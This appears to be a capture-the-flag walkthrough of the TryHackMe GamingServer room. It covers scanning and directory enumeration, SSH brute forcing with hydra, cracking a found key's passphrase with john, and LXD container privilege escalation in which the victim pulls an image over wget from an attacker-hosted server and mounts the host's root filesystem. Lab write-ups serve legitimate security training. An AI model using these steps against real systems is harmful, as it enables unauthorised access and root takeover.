> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/gamingserver.md).

# GamingServer

**Room Link:** <https://tryhackme.com/room/gamingserver>

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="/files/r0kOjkF23iaNvX9ZClKQ" alt=""><figcaption></figcaption></figure>

### Scan all ports

No other ports found

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

### TCP/80 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="/files/KkO4qt7X1g8nXCaaPz4n" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/XQVLByWu5KikYc01Vsk5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/E7I87gEiyKK2MJCI5gQy" alt=""><figcaption></figcaption></figure>

### SSH port 22

Tried bruteforcing ssh with johns username and the dictionary file we found but it didn't work

**Kali**

```
hydra -l john -P dict.lst ssh://$VICTIM
```

### TCP/80 - HTTP

<figure><img src="/files/afGu0oQ98zq31Y4Ys8vj" alt=""><figcaption></figcaption></figure>

### SSH port 22

After finding the key I bruteforced that with the dictionary list found

**Kali**

```
chmod 700 secretKey
/opt/john/ssh2john.py secretKey > id_john.txt
john --wordlist=/root/dict.lst id_john.txt 
```

<figure><img src="/files/miNuXOcEwuLmv36bLlYy" alt=""><figcaption></figcaption></figure>

**Kali**

```
ssh -i secretKey john@$VICTIM
Password: letmein
```

<figure><img src="/files/7pzZb98MSoAQhnqBzmP0" alt=""><figcaption></figcaption></figure>

### Privilege Escalation&#x20;

Followed this link on lxd privilege escalation&#x20;

**Link:** <https://www.hackingarticles.in/lxd-privilege-escalation/>

**Victim**

```
id
```

<figure><img src="/files/ys0afKJzXVIvReU16VpM" alt=""><figcaption></figcaption></figure>

**Kali**

```
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
python2 -m SimpleHTTPServer 81
```

**Victim**

```
cd /tmp
wget http://10.10.73.204:81/alpine-v3.18-x86_64-20230712_1453.tar.gz
lxc image import ./alpine-v3.18-x86_64-20230712_1453.tar.gz --alias myimage
lxc image list
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id
```

<figure><img src="/files/bXDKLFkJgmcsmUqjayRR" alt=""><figcaption></figcaption></figure>
